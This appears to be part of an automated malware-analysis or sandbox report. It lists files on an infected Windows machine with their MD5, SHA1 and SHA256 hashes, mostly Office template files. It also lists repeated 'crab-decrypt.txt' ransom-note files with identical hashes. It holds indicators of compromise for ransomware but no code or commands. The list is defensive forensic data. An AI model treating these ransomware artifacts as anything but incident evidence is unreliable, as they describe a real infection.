users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328884[[fn=architecture]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328884[[fn=architecture]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328884[[fn=architecture]].glox
glox
MD5
c8ccb0a33a1e89dbae2b8a2c80dfbb54
SHA1
49c842e354f3f3e945d4cc9c63cb76123911d05d
SHA256
ba0f111a8bfb4b89e0e14e2a311ba0373f347f8885c48b5515550053b0c719e9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328893[[fn=bracketlist]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328893[[fn=bracketlist]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328893[[fn=bracketlist]].glox
glox
MD5
ac89297bf30514673fe1965b317310f8
SHA1
c599ede6b5c90303e53edd11452da9af15b1749d
SHA256
566af0bc0d7c2537f74cb82bd8b1d261329c1828cc9af022f930bde043502424
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328905[[fn=chevron accent]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328905[[fn=chevron accent]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328905[[fn=chevron accent]].glox
glox
MD5
ee0ad0d74bc343bb765993d1e1927715
SHA1
0413b48c305fb886df035054555a734d90cd5712
SHA256
dc41363805e06bf8192b53d2874b5bcbf673b784c6ecbbc2a41a717152e0f3d0
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328908[[fn=circle process]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328908[[fn=circle process]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328908[[fn=circle process]].glox
glox
MD5
c73c05a2b3d08f3c835e46022e6a0995
SHA1
01fad837e31568dd910860ca806513d060c22ab4
SHA256
b9dcd3cbc5850bd8cd3dca901035e17c037194f787db7ea23c191bde84a3dbf6
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328916[[fn=converging text]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328916[[fn=converging text]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328916[[fn=converging text]].glox
glox
MD5
8d05ce5a1d952e77a66b7745521c9a4e
SHA1
7a724bfa431318a9f2c5e1a5053e94d5374fd0d5
SHA256
d5dff5e3ebb526a3bc72bd6e842269a55ec3bbf222f3dcbda6e659a4b5b83ad3
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328919[[fn=hexagon radial]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328919[[fn=hexagon radial]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328919[[fn=hexagon radial]].glox
glox
MD5
8c99449400a45e9860609fb3ed01c5d2
SHA1
f0b667e7c29495a3b28fea23ea0cb11e72312288
SHA256
16c30fde40e946ea1533e2b31b7de34d039b375abf93b3e25ec33b726b2b94c5
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328925[[fn=interconnected block process]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328925[[fn=interconnected block process]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328925[[fn=interconnected block process]].glox
glox
MD5
b95e65f7df800345595d282671783967
SHA1
2d6593fab6565a1b77a87e298e55fa3cd5e82907
SHA256
659b1be0f0e31374485765126ca102fcef1dac8a742b54993e64e9192486991d
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328932[[fn=picture frame]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328932[[fn=picture frame]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328932[[fn=picture frame]].glox
glox
MD5
ed2268e6b7d03e19b10bc51cbe48dfee
SHA1
6be77f4cd704e4322d8371413bd4eb5ac4a8ee88
SHA256
8b80d60311bdf13af368abc18be54f1e4d02e51ba2561c6f6ffcd5d724f0228d
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328935[[fn=picture organization chart]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328935[[fn=picture organization chart]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328935[[fn=picture organization chart]].glox
glox
MD5
8b843a80f395b6d6c95278f33d963dc2
SHA1
9c6e8529d59af49bc428eb27fb1884413d95c052
SHA256
7705434148324bb8554deee1b4546563653933962f8e75ca070ae641073607f7
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328940[[fn=radial picture list]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328940[[fn=radial picture list]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328940[[fn=radial picture list]].glox
glox
MD5
53a3b1d5f08fc78d58f7a329b24c12f0
SHA1
2aa4a8e306629ccde7bee321602fc2d3d6b1d055
SHA256
c5d06fab058d226bc0c7f01b404fa0e9f1bdcf602ee5c8ec0629d39e99eda707
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328951[[fn=tabbed arc]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328951[[fn=tabbed arc]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328951[[fn=tabbed arc]].glox
glox
MD5
7e32ad78273a5800adcbac60ed9086a1
SHA1
0a020eb56ab0b3de706b6e7d5af9beb7aaa03690
SHA256
dd80735eba4ded6b972e6b1c55b177efe94b326e8dd06698ff3748365eab2fb5
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328972[[fn=tab list]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328972[[fn=tab list]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328972[[fn=tab list]].glox
glox
MD5
c3d72112eda09f922641157694a0e612
SHA1
50511a09958d40049549fefe2bd5c5b975616bfe
SHA256
4e8e5ac549866c26c81e947952a3ed965bd5f0d6e4092b18fe2de37f5940d240
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328975[[fn=theme picture accent]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328975[[fn=theme picture accent]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328975[[fn=theme picture accent]].glox
glox
MD5
bb2d0dc89e3924acd43385d5249aa377
SHA1
ac603d8e4aa8bc5c79bda9b07bdcdea2ff93d918
SHA256
8219e86680e9d0264519035febab5c01c80590cc1fd474e678e372114a252280
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328983[[fn=theme picture alternating accent]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328983[[fn=theme picture alternating accent]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328983[[fn=theme picture alternating accent]].glox
glox
MD5
3a5287118dcdce143e892c08edb5f41e
SHA1
b6d77ac878cdcf6dc65a48ce5942429eb7aa4901
SHA256
3d0c69b04acdfe8095fb2da534d655b90e6963c85d3c7f0c1d6a79cf905eb100
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328986[[fn=theme picture grid]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328986[[fn=theme picture grid]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328986[[fn=theme picture grid]].glox
glox
MD5
8d080a225a342e59d2e903077cd8ade2
SHA1
8ff8379435f7cd191fe5ed7a2e3a2609293af53f
SHA256
6e67cf55d3dea09524b4a8e392d25ebab6d61ac6bb83d6a151bfe42174707b26
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328990[[fn=varying width list]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328990[[fn=varying width list]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328990[[fn=varying width list]].glox
glox
MD5
00083f810194ec80949ea2b015deb10a
SHA1
8c05ef9d80129a24c205b88f59d3c1ff7c460597
SHA256
01715d366fa966d99797f59fa1f915d63882bc3eca9422ce1e6071fd57d11892
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328998[[fn=rings]].glox
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328998[[fn=rings]].glox
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328998[[fn=rings]].glox
glox
MD5
7b5463e779c711141bdb0aab95e6c291
SHA1
31df7fa39a30c29bc7277132e3c015111e245f85
SHA256
361e1f51dedfdc09067da71162bc5f157c6fbef0939389b471a2d8eae0fa501e
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851216[[fn=apasixtheditionofficeonline]].xsl
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851216[[fn=apasixtheditionofficeonline]].xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851216[[fn=apasixtheditionofficeonline]].xsl
xsl
MD5
3f7678f540f2feebf27d6ae9187ee201
SHA1
7b37f9e01b0f6943b8b0f20543d86a2349dbf0f5
SHA256
5230eee8d3b9babf936d7b07aaf5b6d4cf91e44ca6273c7eba80cd995997cca1
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851217[[fn=chicago]].xsl
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851217[[fn=chicago]].xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851217[[fn=chicago]].xsl
xsl
MD5
7c9bab85dc6f44b0680870236dc39797
SHA1
6a4490193648de3a10a2651d4c0b7859d1ab7ca9
SHA256
192ba13f790df8e2ddbf36abb23675c6538da6edc1e435701694aafd9e2461cb
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851218[[fn=gb]].xsl
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851218[[fn=gb]].xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851218[[fn=gb]].xsl
xsl
MD5
3813e117db4e799353de8276040b766f
SHA1
db184f39e76e62672814a03bb41d293141bbd2c1
SHA256
f92abd100dc162b2ba2d2a38f6611d1918c0a9aa9bd8cc6a819b94bfb8c9019e
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851219[[fn=gostname]].xsl
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851219[[fn=gostname]].xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851219[[fn=gostname]].xsl
xsl
MD5
b1aa46c87dc394a091e2a55110200a9b
SHA1
6f55b2afafeb26ae792e70c0e8cffaa372b60812
SHA256
348ce98e1dfcfe6106cbc6ad1a57721d54b16d018b921cf5ac5888d64bd105e8
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851220[[fn=gosttitle]].xsl
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851220[[fn=gosttitle]].xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851220[[fn=gosttitle]].xsl
xsl
MD5
f5eb849610408d7bc90b352a583c9429
SHA1
1a6c2c0ef4c95b9a40669b89bc484871ebccd65d
SHA256
d38622af4b4854bd60ebf74778ccda9bf60f1948b88d4425f94a6d8349875513
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851221[[fn=harvardanglia2008officeonline]].xsl
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851221[[fn=harvardanglia2008officeonline]].xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851221[[fn=harvardanglia2008officeonline]].xsl
xsl
MD5
2ce52392f75c2a1c91bf934bc9abcfc7
SHA1
9c01a309d640215edc93a67c6a2ced756dcb33e5
SHA256
4f8945769454598b2deac94cc77fbe988a4dbc8a298ea4792478e5997f1d63e9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851222[[fn=ieee2006officeonline]].xsl
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851222[[fn=ieee2006officeonline]].xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851222[[fn=ieee2006officeonline]].xsl
xsl
MD5
c318ee90423b931bd4cb146deeb53295
SHA1
c1381fe7719896a21d6b2ac340224728d28ef610
SHA256
0d4099b710ed54a47a2ecda28a1cc0284c0230988fa46044471a107e9df4e184
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851223[[fn=iso690]].xsl
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851223[[fn=iso690]].xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851223[[fn=iso690]].xsl
xsl
MD5
51a4d4d28d7cc5a5eef8212bee0fa975
SHA1
e832d5deaeac4ecd43953a59c76aac9f924a504f
SHA256
c5ef49dee0bd8dd02e4c8bc0e3824b673a097a9fc7009fc562efb8df1aab03b9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851224[[fn=iso690nmerical]].xsl
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851224[[fn=iso690nmerical]].xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851224[[fn=iso690nmerical]].xsl
xsl
MD5
379d083a1602eee30923c25a8031a9d0
SHA1
c840d2751a91ec18b8666507e212f71fe49bfed6
SHA256
9a94a549d2df12ea627b1e4eb19f92ccf17ff5fe7e830c2d33449904b45ab87f
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851225[[fn=mlaseventheditionofficeonline]].xsl
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851225[[fn=mlaseventheditionofficeonline]].xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851225[[fn=mlaseventheditionofficeonline]].xsl
xsl
MD5
4b2043e07bdf5596e6197487f9f40d34
SHA1
8e62bffd6f0c95864f45b0b1babdb9cc4a2ee4fa
SHA256
9b9bec6b49991d9a439ca510b1de52021cea0bb8960669ea22af4518c2b8f4ab
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851226[[fn=turabian]].xsl
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851226[[fn=turabian]].xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851226[[fn=turabian]].xsl
xsl
MD5
44062a35b792b4bf1e57e17a325058ee
SHA1
f7dd767a91869f10f978f2fc79d571df9ead2ad9
SHA256
82ae22d960a05e49e6b310f9207cdd49d429cea525059bcefb08256bafb289f2
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851227[[fn=sist02]].xsl
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851227[[fn=sist02]].xsl
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851227[[fn=sist02]].xsl
xsl
MD5
be9be8e8185b1db91ee795e30c85f256
SHA1
005003743237d086c1c3ee11fb86030bc314ab35
SHA256
92c2d90539a79c193613f76edf4208c59c70adc5de101e0dc0ef21ac794bc2b8
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm01840907[[fn=equations]].dotx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm01840907[[fn=equations]].dotx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm01840907[[fn=equations]].dotx
dotx
MD5
c0f7cf1e3a872e16426d93beb364e06b
SHA1
75b1316d4c8f93c7d49768e7b5e835c850985b3c
SHA256
bb4a654c0f191513789f4f013f1122b1cbaeac16dcdbef6d71a79f2de448f01a
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835231[[fn=text cover with toc (student report blue design)]].docx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835231[[fn=text cover with toc (student report blue design)]].docx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835231[[fn=text cover with toc (student report blue design)]].docx
docx
MD5
b869abad1cb2199f2195b4b5ec4d462a
SHA1
52098cf58ca2901d5a40d58dd59784d53213eeca
SHA256
3f9e268bb8cd8d4d5190cda23992125947e255ac902b43c0e51418684ef9f492
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835232[[fn=text cover (student report blue design)]].docx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835232[[fn=text cover (student report blue design)]].docx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835232[[fn=text cover (student report blue design)]].docx
docx
MD5
fa72bf3a655b4c5affc16a70a93bea15
SHA1
ccab411d9d9cd942d51c88b2f7cd91eda572c60c
SHA256
8073145784513807066d12a4b5548c5f43bbd757078f96e1fd808dfe4a25bfc3
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835233[[fn=text sidebar (annual report red and black design)]].docx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835233[[fn=text sidebar (annual report red and black design)]].docx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835233[[fn=text sidebar (annual report red and black design)]].docx
docx
MD5
78e72cd292c5351eca5a8375a13457e6
SHA1
2a3ed44e144636294684441b40f0036ae3820fa5
SHA256
5af907563eba64470e8671bd0043a88a7bb0641215a7761d3e312d7b8f85e621
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835264[[fn=cover page (annual report red and black design)]].docx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835264[[fn=cover page (annual report red and black design)]].docx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835264[[fn=cover page (annual report red and black design)]].docx
docx
MD5
e673fd9791f449b78ba95a84be2c3e45
SHA1
49b1ff7ffa4a651dad8258802be372915ccb1245
SHA256
23dced46bccd630948415d819aac4135629e178bedf6ff80785534f8ca5b1754
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835265[[fn=cover page (annual report timeless design)]].docx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835265[[fn=cover page (annual report timeless design)]].docx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835265[[fn=cover page (annual report timeless design)]].docx
docx
MD5
6e26733cbce8340543b8eb230088fef6
SHA1
1e188f87bc4dec473b7756285fe29de238f4d931
SHA256
f52af90c611a18e2c8f51635d42bff50e4162ba1fd8da13f43962654942cf198
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835266[[fn=cover letter (chronological resume simple design)]].docx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835266[[fn=cover letter (chronological resume simple design)]].docx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835266[[fn=cover letter (chronological resume simple design)]].docx
docx
MD5
0e39b656e93e1f2d94474fc53ce861f4
SHA1
5fa79a49ebcd3d308b475323afb1e8bdce0aa648
SHA256
50c22d6a352e410ba7c7a735115ac3bff327158e7640659c3100e720d3726521
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835267[[fn=cover with logo (annual report red and black design)]].docx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835267[[fn=cover with logo (annual report red and black design)]].docx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835267[[fn=cover with logo (annual report red and black design)]].docx
docx
MD5
1256509515d9827654d834f1184d3f7a
SHA1
6008657a375eb6430ea942b8fe5029a87b49564d
SHA256
533091ded7c4fcaef3fae1b8032b61eb5991345dc27cc6146b12595ec8568277
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835268[[fn=photo cover (student report blue design)]].docx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835268[[fn=photo cover (student report blue design)]].docx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835268[[fn=photo cover (student report blue design)]].docx
docx
MD5
14b5315288999531d81f9314e7e34776
SHA1
f44a6a7ccd4ac23dfe6831816e3a12e2627c69c8
SHA256
d601b2996924f0f8fd2bcd3524b03bcaa4c18e35a7f018d75af8bca9c0ec4a1e
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835269[[fn=photo cover with toc (student report blue design)]].docx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835269[[fn=photo cover with toc (student report blue design)]].docx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835269[[fn=photo cover with toc (student report blue design)]].docx
docx
MD5
eab6473a699d1159127435b25e8bc96c
SHA1
6d98a3ce80d7e37ff2915d29315a5283d22472c7
SHA256
243adc5ea466e188024d5c4fbd7efd2015d416af72f7c588122f9f0f1d3057ba
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835270[[fn=photo sidebar (annual report red and black design)]].docx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835270[[fn=photo sidebar (annual report red and black design)]].docx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835270[[fn=photo sidebar (annual report red and black design)]].docx
docx
MD5
d53cd613cffabd7504960f313af39bfd
SHA1
cf82d8f7ed6e7d1f179a0372a8715ce2ea0781ab
SHA256
37a0d1fd5249d3b46754cc02db73add8ef6633935f289c6f0d072c55e3ae31c6
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835271[[fn=sample table (annual report red and black design)]].docx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835271[[fn=sample table (annual report red and black design)]].docx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835271[[fn=sample table (annual report red and black design)]].docx
docx
MD5
25e86197f269606061e99c525b826b9d
SHA1
fb1fb02b7866d5d58e7863e39ac1fe52af7b4c1c
SHA256
08e70e5b5086a7850624dd67a23db8546e9a014e3b84194cc143d9c6d4e75960
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835272[[fn=sample table (annual report timeless design)]].docx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835272[[fn=sample table (annual report timeless design)]].docx
